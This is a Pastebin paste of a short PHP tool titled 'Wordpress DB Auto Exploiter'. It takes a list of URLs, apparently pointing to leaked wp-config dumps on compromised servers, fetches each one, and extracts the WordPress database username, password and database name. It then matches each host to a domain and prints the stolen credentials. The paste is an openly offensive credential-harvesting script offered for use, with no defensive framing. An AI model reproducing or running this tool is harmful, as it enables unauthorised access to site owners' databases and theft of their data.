Advertisement
MSupian

WP Config Grabber With Domain

Nov 15th, 2016
70
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.53 KB | None | 0 0
  1. <center><h1>Wordpress DB Auto Exploiter</h1>
  2.     <h3>Coded by ./Port22</h3>
  3. <form method="post" action="">
  4.     <textarea name="list" rows="10" cols="80"></textarea>
  5.     <br>
  6.     <button>Start</button>
  7. </form></center>
  8. <?php
  9. include 'Curl.php';
  10.  
  11. function getStr($string,$start,$end){
  12.     $string = str_replace("\n", '', $string);
  13.     $string = str_replace("\t", '', $string);
  14.     $str    = explode($start,$string,2);
  15.     $str    = explode($end,$str[1],2);
  16.     return $str[0];
  17. }
  18.  
  19. $curl = new Curl();
  20. error_reporting(0);
  21. if(isset($_POST['list'])){
  22.     $list = $_POST['list'];
  23.     $exuri = explode("\n", $list);
  24.     $no = count($exuri);
  25.     for ($i=0; $i < $no ; $i++) {
  26.         $uri = trim($exuri[$i]);
  27.         $get = $curl->get($uri);
  28.         if(stristr($uri, 'wp13.txt')){
  29.             $userWp = getStr($get, "define('DB_USER', '","'");
  30.             $passWp = getStr($get, "define('DB_PASSWORD', '","'");
  31.             $dbWp   = getStr($get, "define('DB_NAME', '","'");
  32.             if($userWp != '' && $passWp != ''){
  33.                 $dirtyhost = explode('/', $uri);
  34.                 $host      = explode('-', $dirtyhost[4]);
  35.                 $getHost = $curl->get('http://localhost/assets/kucing.html');
  36.                 $domain  = getStr($getHost, '<td align=left>',$host[0]);
  37.                 $dirtyDomain = explode('<td align=left>', $domain);
  38.                 $countDomain = count($dirtyDomain) - 1;
  39.                 $cleanDomain = getStr($dirtyDomain[$countDomain], '<font class=txt>','<font');
  40.                 echo "<font color='red'> Username :</font> $userWp | <font color='red'>Password :</font> $passWp | <font color='red'>DB :</font> $dbWp | <font color='red'>Doman :</font> $cleanDomain<br>";
  41.             }
  42.         }
  43.     }
  44. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement